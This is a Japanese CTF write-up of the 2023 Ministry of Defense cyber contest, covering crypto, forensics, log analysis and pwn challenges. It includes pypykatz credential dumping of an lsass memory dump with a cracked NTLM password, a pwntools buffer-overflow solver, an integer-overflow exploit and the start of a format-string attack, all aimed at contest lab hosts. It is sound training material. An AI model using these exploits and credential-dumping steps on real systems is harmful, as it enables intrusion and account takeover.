Writer:b1uef0x / Webページ建造途中
昨年に引き続き参加、今年はwriteupの掲載が許可されている。
昨年度は悪問多しと評されていたCTFだが、今年は程良い難易度のビギナーズ向けCTFとなった。時間が12時間と短く専用ツールを要求する問題がそこそこあったため、準備のないものについては間に合わないことが多かった。
最終成績は以下の通り。終盤になって点数が伸びてくれなかった。
で時間別のスコアを見ると、何故かスコアが下がっていることに気づく。
あっ・・・
※問題ごとにヒントを開くと減点されるようになっているが、減点は問題を解いたときにかかるものだと思ってラスト30分で残りすべてのヒントを開けてガッツリ下がった。
防衛省 サイバーコンテスト 2023 へようこそ!
この問題は、解答方法を確認するための問題です。 正解することで 10 ポイントが付与され、他の問題のヒントを取得できるようにもなります。
また添付ファイルは、問題用サーバーへの接続に必要な OpenVPN の設定ファイルとなります。 ダウンロード頂いた上、参加要領の手順に従って VPN 接続を行ってください。
フラグ:本コンテスト開催時の問い合わせ先メールアドレスは何でしょう?
解答形式: flag{******@******}
このCTFではネットワークやウェブの問題をVPN接続で解く。これによってサーバーをスキャンする攻撃が使えるようになっている。
flagはメールアドレスだが載せるのもどうかと思って伏せ字にしておく。
flag{******@******}
以下の暗号文を復号してください。
暗号文: synt{tA0iEFckNRiG}
解答形式:flag{************}
ROT13でflagを復号できる。問題によって{}内が乱数みたいになっているのでflagの文字列が目印。
flag{gN0vRSpxAEvT}
暗号文は、以下の対応表(SubstitutionCipher.png)と鍵により暗号化されていますが、鍵の一部(1文字目、4文字目の?)が欠損しています。 暗号文から欠損している鍵を推測し、復号してください。
暗号文: Uckb uzzc jn gwdmayuzf fjoj ciz Xrhzpèaf xkyizt.ciz hubb kb ggcp{wIR2AuVebMyR}.
鍵: ?VC?
解答形式:flag{************}
CyberChefでVigenère_Decodeを選択、?VC?
の?を適当に変えながら試行するとBVCJ
であることがわかる。
ただしXrhzpèaf
のèが2文字分の扱いで邪魔になっており、削除してXrhzpaf
とすると正しく復号できた。あと問題文は全体的に濁点の文字コードがわかれていておかしなことになっている。
This text is encrypted with the Vigenre cipher.the flag is flag{vNP2RtAcsLdP}.
flag{vNP2RtAcsLdP}
lsass.zip を展開(パスワード:P@ssw0rd123!)し、Administrator ユーザーの NTLM ハッシュ値を抽出してください。
解答形式:flag{********************************}
lsass.DMPが配布される。これはlsass.exe のプロセスダンプファイルで、mimikatzとかでよくやるやつ。
中身のNTLMハッシュを取り出すために pypykatz を使用した。
$pypykatz lsa minidump lsass.DMP
INFO:root:Parsing file lsass.DMP
FILE: ======== lsass.DMP =======
== LogonSession ==
authentication_id 494373 (78b25)
session_id 1
username Administrator
domainname WIN-A9FVQCU510J
logon_server WIN-A9FVQCU510J
logon_time 2023-06-14T05:05:23.216915+00:00
sid S-1-5-21-475754373-2222522093-564401973-500
luid 494373
== MSV ==
Username: Administrator
Domain: WIN-A9FVQCU510J
LM: NA
NT: 036dac4f519817e0f6ec28d80ab42205
SHA1: 5cca0adce30b6164666d52ac52ee78e75f0bc3d6
== WDIGEST [78b25]==
username Administrator
domainname WIN-A9FVQCU510J
password None
== Kerberos ==
Username: Administrator
Domain: WIN-A9FVQCU510J
Password: None
== WDIGEST [78b25]==
username Administrator
domainname WIN-A9FVQCU510J
password None
== LogonSession ==
authentication_id 51112 (c7a8)
session_id 1
username DWM-1
domainname Window Manager
logon_server
logon_time 2023-06-14T05:01:03.747576+00:00
sid S-1-5-90-0-1
luid 51112
== WDIGEST [c7a8]==
username WIN-A9FVQCU510J$
domainname WORKGROUP
password None
== WDIGEST [c7a8]==
username WIN-A9FVQCU510J$
domainname WORKGROUP
password None
== LogonSession ==
authentication_id 996 (3e4)
session_id 0
username WIN-A9FVQCU510J$
domainname WORKGROUP
logon_server
logon_time 2023-06-14T05:01:03.685075+00:00
sid S-1-5-20
luid 996
== WDIGEST [3e4]==
username WIN-A9FVQCU510J$
domainname WORKGROUP
password None
== SSP [3e4]==
username
domainname
password None
== SSP [3e4]==
username
domainname
password None
== Kerberos ==
Username: win-a9fvqcu510j$
Domain: WORKGROUP
Password: None
== WDIGEST [3e4]==
username WIN-A9FVQCU510J$
domainname WORKGROUP
password None
== LogonSession ==
authentication_id 116349 (1c67d)
session_id 0
username ANONYMOUS LOGON
domainname NT AUTHORITY
logon_server
logon_time 2023-06-14T05:01:08.278837+00:00
sid S-1-5-7
luid 116349
== LogonSession ==
authentication_id 997 (3e5)
session_id 0
username LOCAL SERVICE
domainname NT AUTHORITY
logon_server
logon_time 2023-06-14T05:01:03.794450+00:00
sid S-1-5-19
luid 997
== WDIGEST [3e5]==
username
domainname
password None
== SSP [3e5]==
username
domainname
password None
== SSP [3e5]==
username
domainname
password None
== SSP [3e5]==
username
domainname
password None
== Kerberos ==
Username:
Domain:
Password: None
== WDIGEST [3e5]==
username
domainname
password None
== LogonSession ==
authentication_id 51195 (c7fb)
session_id 1
username DWM-1
domainname Window Manager
logon_server
logon_time 2023-06-14T05:01:03.747576+00:00
sid S-1-5-90-0-1
luid 51195
== WDIGEST [c7fb]==
username WIN-A9FVQCU510J$
domainname WORKGROUP
password None
== WDIGEST [c7fb]==
username WIN-A9FVQCU510J$
domainname WORKGROUP
password None
== LogonSession ==
authentication_id 31105 (7981)
session_id 0
username
domainname
logon_server
logon_time 2023-06-14T05:01:03.591327+00:00
sid None
luid 31105
== LogonSession ==
authentication_id 999 (3e7)
session_id 0
username WIN-A9FVQCU510J$
domainname WORKGROUP
logon_server
logon_time 2023-06-14T05:01:03.575700+00:00
sid S-1-5-18
luid 999
== WDIGEST [3e7]==
username WIN-A9FVQCU510J$
domainname WORKGROUP
password None
== SSP [3e7]==
username
domainname
password None
== SSP [3e7]==
username
domainname
password None
== SSP [3e7]==
username
domainname
password None
== SSP [3e7]==
username
domainname
password None
== SSP [3e7]==
username
domainname
password None
== Kerberos ==
Username: win-a9fvqcu510j$
Domain: WORKGROUP
Password: None
== WDIGEST [3e7]==
username WIN-A9FVQCU510J$
domainname WORKGROUP
password None
== DPAPI [3e7]==
luid 999
key_guid 599fbcc2-315c-45bc-bfbe-c961d68f3dfe
masterkey 4480fb84bba97c69d1689ed2f3b84c8eca475136a6a9e7730e8fbb32d2142073bfbc59dbc44c37812347441741d06ecb8a0fe16c30281056f8c914f14d142890
sha1_masterkey 61c026c276d05e1aff9f371ae3144327a6f61390
== DPAPI [3e7]==
luid 999
key_guid 516a64ea-f22f-4e9b-b66a-4a6388f8e738
masterkey 1bb87f8675e4cfdfe87a21c99da7e3078954e55f0e7d787de41c076b0aaa736dd796f3e718b10ab0b47c99f85c69599d0da8408b3364aa177b865ae32ae01821
sha1_masterkey 4aa30f9b37704a6efc933eb6f331d7c1aad4208b
== DPAPI [3e7]==
luid 999
key_guid eead976f-020f-4971-bc4b-b8839f16af2c
masterkey 49faa6acc45820384e35deb01fa8995e63812dfdfa92b2dbf10f784be0638490bef38474f48b94b45fbf744d1e5f44f74b18458187ac356d87a863d947cbdb15
sha1_masterkey 739d5e4db8f011f687efcf4582470effb90d45ff
== DPAPI [3e7]==
luid 999
key_guid eac07481-82b3-4415-87b7-848987f6525c
masterkey af089728fdffdc33c011836d784a8d76948b756f8cbfbe1ac7dfe5456a6610bdf287849ed9616e3daa5fb951c452d7b37ec0a6866faabf030b0b0732aa146be5
sha1_masterkey 1ba90822a286947a6b36f844bcbf3e125ed2b072
一番上のUsername: AdministratorのところのNT: のハッシュがNTLMハッシュ。
flag{036dac4f519817e0f6ec28d80ab42205}
問題「Administrator Hash(NTLM hash)」で抽出したハッシュ値から、Administrator ユーザーのパスワードを推測してください。
解答形式:flag{***************}
先程の問題で取り出したNTLMハッシュ( 036dac4f519817e0f6ec28d80ab42205 )の元のパスワードを求める問題。opcrackとかを使って総当りしたけど全然出てこない。
crackstation.net で検索した。
flag{Ilovedoraemon39}
hash_extension.php 内で echo “same hash!!\n” を実行させるための、変数 hash, payload の値を求めて下さい。
解答形式: flag{変数 hash の値:変数 payload の値}
- ヒントを表示する
- hash_extension.php はハッシュ伸長攻撃に対して脆弱です。
- ヒントを表示する
- 変数 palyload はパーセントエンコーディングが必要です。
- ヒントを表示する
- hash_extender を使用して、hash と payload の値を生成して下さい。
解けなかった問題、前述のように仕様に気づかず終盤ヒントを全部開けて減点されてしまった。
<?php
$payload = urldecode($_GET['payload']);
$hash = urldecode($_GET['hash']);
hash('md5',$secret); #5ebe2294ecd0e0f08eab7690d2a6ee69, secret length 6.
if (false !== strpos($payload,"admin") && hash('md5',$secret.$payload) == $hash){
echo "same hash!!\n";
# flag is $hash:$payload.
}else{
echo "wrong hash!!\n";
}
?>
MD5が5ebe2294ecd0e0f08eab7690d2a6ee69
となる文字列はsecret
。$payloadにはadmin
が含まれていればいいので、$hashはMD5("secretadmin")
でいいのでは?と試したが上手く行かず。ヒントを開けるとわかるようにhash_extenderの利用を前提としているようだ。
会社 A が内部告発を受け、海外の競合会社 B へ機密情報の持ち出しが行われた可能性があると判明しました。 退職予定の従業員が、共有パソコンへの接続が禁止されている USB メモリを用いてデータを抜き出し、USB メモリを引き渡したという内容でした。 そこで従業員を問い詰め、小さな USB ストレージを回収し、そのイメージを保全しました。
USB メモリの中には画像ファイルが入っていました。この画像が取引場所の可能性があります。この画像について、城の名前ではなく大きく写っている建物の名前を特定してください。 建物の名前をヘボン式ローマ字表記したものがフラグです。
あなたはフォレンジックエンジニアとして各フラグを取得してください。添付の仮想ディスクイメージ(USB1.vhd)内にフラグがあります。※このイメージファイルは「The Deleted Confidential File」、「They Cannot Be Too Careful.」、「The Taken Out Secrets」の問題でも使用します。
解答形式:半角英小文字
VHDファイルが配布されるが、マウントせずにFTK Imagerでそれっぽい画像を抽出した。
Google画像検索にかけると 高松城 の 艮櫓 であることがわかった。
flag{ushitorayagura}
USB メモリから復旧できた圧縮アーカイブファイルには、パスワード保護がかかっていました。このパスワードを特定してください。
※問題「The Deleted Confidential File」で復旧したファイルが対象です。
解答形式:半角英小文字
- ヒントを表示する
- 辞書攻撃は... rockyou で決まり!
前問のVHDファイルの削除ファイルからzipファイルを復元。AES256で暗号化されたzipのブルートフォースの準備がなかったため飛ばした。ヒントを見るとrockyou.txtで辞書式総当りすればいいようだ。
圧縮アーカイブファイルとして持ち出されたデータは、USB メモリから削除されていた可能性があります。データの復旧を行い、その内容を調査してください。
※問題「The Place of The First Secret Meeting」に添付の USB1.zip ファイル内の仮想ディスクイメージファイルが対象です。
解答形式:flag{***********}
前問で復元したzipファイルの中にファイル名としてflagが入っている。
flag{Archive_file_was_deleted}
直接データを取得したと考えられる端末の保全を行いました。調査対象のアーティファクトを解析し、持ち出しに使用された USB メモリのシリアルナンバーを特定してください。 なお、シリアルナンバー「04018636913bcb4e1152」のデバイスは保全の際に用いたものです。
解答形式:半角英数字
VHDファイルが配布され、中を見るとイベントログが入っているのでイベントログから該当するUSB接続情報を取り出せば良いようだ。
しかし面倒くさかったのでFTK Imagerで04018636913bcb4e1152
を検索、USB. SanDisk 3.2Gen1.1.00.04018636913bcb4e1152
の文字列がヒットする。
この前後の近いアドレスに似たようなUSBメモリの情報がないか調べたところ、USB. SanDisk 3.2Gen1.1.00.0401396c0881735a013c
が見つかった。
0401396c0881735a013c
あなたは組織内で発生した情報セキュリティインシデントを調査しています。 社内で攻撃の踏み台とされた端末(10.200.200.15)から外部宛の通信を調査しています。 プロキシログ(proxylog.txt)から不審なサーバ(C&C サーバ)宛へのログを見つけて、接続先の IP アドレスを特定してください。
解答形式:flag{**********}(IP アドレス)
NW問題は1問のみ回答、専用プロトコルでサーバーと通信させる系の問題は余り知見がないので進まなかった。できるようにしておきたい。
さて本問はプロキシサーバーのログとなっている。
Time,elapsed,Source Address,code/status,bytes,Method,URL,Destnation Address,Content Type
2023/4/7 8:37:29,222,10.200.200.15,TCP_TUNNEL/200,32517,CONNECT,news.yahoo.co.jp:443,HIER_DIRECT/182.22.25.252,-
2023/4/7 8:37:30,4587,10.200.200.15,TCP_TUNNEL/200,1476,CONNECT,www.google.co.jp:443,HIER_DIRECT/216.58.197.163,-
2023/4/7 8:37:39,4587,10.200.200.15,TCP_TUNNEL/200,1476,CONNECT,www.google.co.jp:443,HIER_DIRECT/216.58.197.163,-
2023/4/7 8:37:55,222,10.200.200.15,TCP_TUNNEL/200,32517,CONNECT,news.yahoo.co.jp:443,HIER_DIRECT/182.22.25.252,-
2023/4/7 8:37:55,15109,10.200.200.15,TCP_TUNNEL/200,337131,CONNECT,www.google.co.jp:443,HIER_DIRECT/216.58.197.163,-
2023/4/7 8:38:00,2893,10.200.200.15,TCP_TUNNEL/200,487594,CONNECT,www.google.co.jp:443,HIER_DIRECT/216.58.197.163,-
2023/4/7 8:38:11,2189,10.200.200.15,TCP_TUNNEL/200,1652,CONNECT,www.google.co.jp:443,HIER_DIRECT/216.58.197.163,-
2023/4/7 8:38:11,9296,10.200.200.15,TCP_TUNNEL/200,71125,CONNECT,www.google.co.jp:443,HIER_DIRECT/216.58.197.163,-
2023/4/7 8:38:17,2189,10.200.200.15,TCP_TUNNEL/200,1652,CONNECT,www.google.co.jp:443,HIER_DIRECT/216.58.197.163,-
2023/4/7 8:38:20,3382,10.200.200.15,TCP_TUNNEL/200,26010,CONNECT,news.yahoo.co.jp:443,HIER_DIRECT/183.79.217.124,-
2023/4/7 8:38:35,4587,10.200.200.15,TCP_TUNNEL/200,1476,CONNECT,www.google.co.jp:443,HIER_DIRECT/216.58.197.163,-
2023/4/7 8:38:35,2587,10.200.200.15,TCP_TUNNEL/200,64449,CONNECT,www.yahoo.co.jp:443,HIER_DIRECT/182.22.25.252,-
2023/4/7 8:38:40,6431,10.200.200.15,TCP_TUNNEL/200,865,CONNECT,news.yahoo.co.jp:443,HIER_DIRECT/182.22.25.252,-
....
このようなログが3000行ほど続いている。3000行しかないので目視で見ていくと次の通信を発見。
2023/4/7 12:26:25,119970,10.200.200.15,TCP_TUNNEL/200,8099213,CONNECT,amazon_co_jp.ipa-info.net:22,HIER_DIRECT/2.57.80.99,-
amazon.co.jpに偽装したnetドメインはいかにも臭い。
flag{2.57.80.99}
たくさんの偽のフラグに混ざった本物のフラグを見つけてください。本物のフラグは
- Regexp
- "!!" を含む3文字
- 数字2けた
- "S" で始まる5文字以上の英単語
- 一の位が "8" の数値
がこの順番で並んだものです。
解答形式:flag{************}
以下のようなflagっぽい文字列の山から条件を満たすflagを探す問題。
flag{Xergep:[]|3Formidable139702464}
flag{Gexrep:@@=0Beneficial800255893}
flag{Regexp:@@15Splendid519031864}
flag{Exgrep;00^$Splendid971009708}
flag{Geexpr;0015Graceful439224713}
flag{Regexp:!!15Formidable306103188}
flag{Xergep;00^$Plausible534247973}
flag{Exgrep#FF^$Beneficial359308264}
flag{Geexpr:!!=0Beneficial980113911}
flag{Exgrep:[]15Beneficial487541533}
flag{Xergep:!!=0Plausible105107971}
flag{Regexp;00=0Graceful207985794}
flag{Regexp#FF=0Graceful883546144}
flag{Exgrep:@@=0Graceful343589274}
flag{Regexp#FF|3Formidable804137053}
flag{Exgrep#FFIsBeneficial300578868}
flag{Gexrep#FF15Beneficial230607121}
flag{Exgrep:!!^$Formidable013322508}
flag{Xergep:!!=0Formidable206695651}
flag{Xergep;00^$Formidable850211128}
....
条件に従って次の正規表現を作成。
flag{Regexp(.!!|!!.)\d\dS[a-z]{4,}\d*8}
さくらエディタで検索した。
flag{Regexp:!!15Splendid159156098}
mimic.txt の文字列内に隠されているフラグを見つけてください。
解答形式:flag{************}
- ヒントを表示する
- Unicode 結合文字とそうでないものが混ざっています。
- ヒントを表示する
- 8ビットのまとまりとして見ると?
配布されるテキストの中身は「ゴゴゴゴゴゴゴゴゴゴゴゴゴゴ...」が続いているが、バイナリエディタで見てみる。
案の定文字コードが異なる。具体的にはUnicodeでE3 82 99
、E3 82 B3
、E3 82 B4
の3種類からできている。
しばらくいじくっていたが、この手の問題は作者の気持ちがわからないと復号方法がわからないのでヒントを全部開けた。
Unicode1文字でできているものと2文字でできているものを0 or 1として変換してASCIIと見做せばいいようだ。JavaScriptでソルバーを作成。
<pre><script>
data = "E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B4 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B3 E3 82 99 E3 82 B4 E3 82 B3 E3 82 99".split(" ");
bin = "";
for(i=2; i<data.length; i+=3) {
switch(data[i]) {
case "99" : bin+="1";break;
case "B3" : bin+=""; break;
case "B4" : bin+="0";break;
}
}
flag = "";
for(i=0; i<bin.length; i+=8) {
flag += String.fromCharCode(parseInt(bin.substr(i,8),2));
}
document.writeln(flag);
</script></pre>
flag{Un1c0de_N0rma|1z@t10n}
次の多項式で表される長さ20ビットの線形帰還シフトレジスタ(LFSR)に、初期値 0x70109 を与えた場合の周期(もう一度 0x70109 が現れるまでのシフト回数)を10進整数で答えてください。
x^20 + x^15 + x^11 + 1
解答形式:整数値(半角数字)
問題の多項式で表現される線形帰還シフトレジスタのコードを書いて周期を求める問題。タップ数が偶数ではないため最長周期になることはありえず、そんなに長い周期ではないはず。
もちろんJavaScriptで書いた。
<pre><script>
reg_1st = 0x70109;
reg = reg_1st;
function F_LFSR() {
var bit = (reg & 0x1) ^ ((reg & 0x20) >> 5) ^ ((reg & 0x200) >> 9);
reg = (reg >> 1) | (bit << 19);
reg = reg & 0xfffff;
}
i = 0;
while(i<Math.pow(2,21)) {
i++;
F_LFSR();
if(reg==reg_1st) {
document.writeln(i);
break;
}
}
</script></pre>
57288
ログイン機能を作ってみました。By C 言語ルーキー
対象 IP アドレス:ポート:10.10.10.15:1001
解答方式:flag{************}
PWN問はすべてバイナリのみの配布でソースコードが配布されない。WEB問も同様の傾向だが、実際のプログラム解析や侵入テストではソースコードは見えないことのほうが普通だろう。
バイナリをGhidraで逆コンパイルしてmain関数を確認する。
undefined8 main(void)
{
int iVar1;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
undefined4 local_e;
ushort local_a;
local_e = 0x736c6166;
local_a = 0x65;
local_28 = 0;
local_20 = 0;
local_38 = 0;
local_30 = 0;
flag_set();
puts(" _____ __ .__ ");
puts(" / _ \\ __ ___/ |_| |__ ");
puts(" / /_\\ \\| | \\ __\\ | \\ ");
puts("/ | \\ | /| | | Y \\ ");
puts("\\____|__ /____/ |__| |___| / ");
puts(" \\/ \\/ ");
putchar(10);
printf("User: ");
gets((char *)&local_38);
printf("Password: ");
gets((char *)&local_28);
iVar1 = strcmp((char *)&local_28,flag);
if (iVar1 == 0) {
local_e = 0x65757274;
local_a = local_a & 0xff00;
}
iVar1 = strcmp((char *)&local_38,"admin");
if ((iVar1 == 0) && (iVar1 = strcmp((char *)&local_e,"true"), iVar1 == 0)) {
puts("Login succeeded!!");
printf("flag: %s\n",flag);
return 0;
}
puts("Invalid password...");
return 0;
}
このプログラムはUserとPasswordを入力して一致しているかを見ており、Userはadmin
、Passwordはflagとなっている。
ただし、最終的な判定にPassword == flagを使っているわけではなく、Password == flagであればlocal_e
変数をfalse
からtrue
に書き換えてstrcmp((char *)&local_e,"true")
で比較している。
したがってBOFでスタック上のlocal_e
変数を書き換えれば、Passwordが不一致でも通るはずだ。
GDB-pedaで確認した該当スタック部分。User:admin、Password:testで入力したとき、testの3つ下の0x65736c61660000がfalseの文字だから、スタック3つ分を文字で埋めて4つ目にtrueが入るようにPasswordを入力すればいい。
簡単なソルバーを書いた。
from pwn import *
io = remote('10.10.10.15',1001)
#io = process("./auth")
io.recvuntil(b"User: ")
io.sendline(b'admin')
io.recvuntil(b"Password: ")
io.sendline(b'\x00' * 26 + b'true')
io.interactive()
$ python3 solve.py
[+] Opening connection to 10.10.10.15 on port 1001: Done
[*] Switching to interactive mode
Login succeeded!!
flag: flag{wVFuVRn2Zmat}
[*] Got EOF while reading in interactive
$
flag{wVFuVRn2Zmat}
祭りだ!祭りだ! flag を購入してね。
対象 IP アドレス:ポート:10.10.10.15:1002
解答方式:flag{************}
Flagを購入する問題。購入系といえばint型のオーバーフロー。
$ nc 10.10.10.15 1002
___________ __ .__ .__
\_ _____/___ _______/ |_|__|__ _______ | |
| __)/ __ \ / ___/\ __\ \ \/ /\__ \ | |
| \ ___/ \___ \ | | | |\ / / __ \| |__
\___ / \___ >____ > |__| |__| \_/ (____ /____/
\/ \/ \/ \/
Balance : 1000
==Menu==
1. Ramune : 100
2. Yakitori : 200
3. Beer : 300
4. Yakisoba : 500
5. Flag : 1000000000
当然買えない。
Ghidraでmain関数を確認。
undefined8 main(void)
{
undefined8 local_68;
undefined local_60;
undefined8 local_5f;
undefined local_57;
undefined8 local_56;
undefined local_4e;
undefined8 local_4d;
undefined local_45;
undefined8 local_44;
undefined local_3c;
uint local_38 [4];
undefined4 local_28;
int local_18;
int local_14;
int local_10;
uint local_c;
puts("___________ __ .__ .__ ");
puts("\\_ _____/___ _______/ |_|__|__ _______ | | ");
puts(" | __)/ __ \\ / ___/\\ __\\ \\ \\/ /\\__ \\ | | ");
puts(" | \\ ___/ \\___ \\ | | | |\\ / / __ \\| |__");
puts(" \\___ / \\___ >____ > |__| |__| \\_/ (____ /____/");
puts(" \\/ \\/ \\/ \\/ ");
putchar(10);
local_c = 1000;
local_38[0] = 100;
local_38[1] = 200;
local_38[2] = 300;
local_38[3] = 500;
local_28 = 1000000000;
local_68 = 0x656e756d6152;
local_60 = 0;
local_5f = 0x69726f74696b6159;
local_57 = 0;
local_56 = 0x72656542;
local_4e = 0;
local_4d = 0x61626f73696b6159;
local_45 = 0;
local_44 = 0x67616c46;
local_3c = 0;
flag_set();
while( true ) {
printf("Balance : %d\n",(ulong)local_c);
puts("==Menu==");
local_10 = 0;
while (local_10 < 5) {
printf("%d. %s : %d\n",(ulong)(local_10 + 1),
(undefined8 *)((long)&local_68 + (long)local_10 * 9),(ulong)local_38[local_10]);
local_10 = local_10 + 1;
}
putchar(10);
puts("Staff > What do you want to buy?");
puts("Staff > Input menu number.");
printf(" You > ");
__isoc99_scanf(&DAT_004021d5,&local_14);
puts("Staff > How many?");
printf(" You > ");
__isoc99_scanf(&DAT_004021d5);
if ((5 < local_14) || (local_14 < 1)) {
printf("Staff > Invalid number!");
return 0;
}
if (local_18 < 1) {
puts("Staff > Huh?");
return 0;
}
local_c = local_c - local_18 * local_38[local_14 + -1];
if ((int)local_c < 0) break;
if (local_14 == 5) {
printf("Staff > %s\n",flag);
return 0;
}
puts("Staff > here you are.");
puts("Staff > Please buy more!");
putchar(10);
}
puts("Staff > Not enough money...");
return 0;
}
Balanceを計算している箇所はlocal_c = local_c - local_18 * local_38[local_14 + -1];
で、int型なので大きな購入数を入力すればオーバーフローして大きなBalanceを得られる。
$ nc 10.10.10.15 1002
___________ __ .__ .__
\_ _____/___ _______/ |_|__|__ _______ | |
| __)/ __ \ / ___/\ __\ \ \/ /\__ \ | |
| \ ___/ \___ \ | | | |\ / / __ \| |__
\___ / \___ >____ > |__| |__| \_/ (____ /____/
\/ \/ \/ \/
Balance : 1000
==Menu==
1. Ramune : 100
2. Yakitori : 200
3. Beer : 300
4. Yakisoba : 500
5. Flag : 1000000000
Staff > What do you want to buy?
Staff > Input menu number.
You > 1
Staff > How many?
You > 500000000
Staff > here you are.
Staff > Please buy more!
Balance : 1539608552
==Menu==
1. Ramune : 100
2. Yakitori : 200
3. Beer : 300
4. Yakisoba : 500
5. Flag : 1000000000
Staff > What do you want to buy?
Staff > Input menu number.
You > 5
Staff > How many?
You > 1
Staff > flag{gwAZLDpEHAg6}
flag{gwAZLDpEHAg6}
僕はオウム。なんでも繰り返し言うよ。
対象 IP アドレス:ポート:10.10.10.15:1003
解答方式:flag{************}
入力文字列をそのまま返すプログラム。となればFormat String Attackであろう。
GDB-pedaで入力時のスタックを確認してみる。
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x0
RDX: 0x7ffff7dcf8c0 --> 0x0
RSI: 0x7fffffffb540 ("Parrot > ")
RDI: 0x7fffffffdbf0 ("AAAAAAAA")
RBP: 0x7fffffffde50 --> 0x555555555430 (<__libc_csu_init>: endbr64)
RSP: 0x7fffffffdbe0 --> 0x555555559260 --> 0xfbad2488
RIP: 0x5555555553a7 (<main+318>: call 0x555555555110 <printf@plt>)
R8 : 0x9 ('\t')
R9 : 0x0
R10: 0x0
R11: 0x246
R12: 0x555555555180 (<_start>: endbr64)
R13: 0x7fffffffdf30 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x555555555398 <main+303>: lea rax,[rbp-0x260]
0x55555555539f <main+310>: mov rdi,rax
0x5555555553a2 <main+313>: mov eax,0x0
=> 0x5555555553a7 <main+318>: call 0x555555555110 <printf@plt>
0x5555555553ac <main+323>: mov edi,0xa
0x5555555553b1 <main+328>: call 0x5555555550e0 <putchar@plt>
0x5555555553b6 <main+333>: mov eax,0x0
0x5555555553bb <main+338>: mov rcx,QWORD PTR [rbp-0x8]
Guessed arguments:
arg[0]: 0x7fffffffdbf0 ("AAAAAAAA")
[------------------------------------stack-------------------------------------]
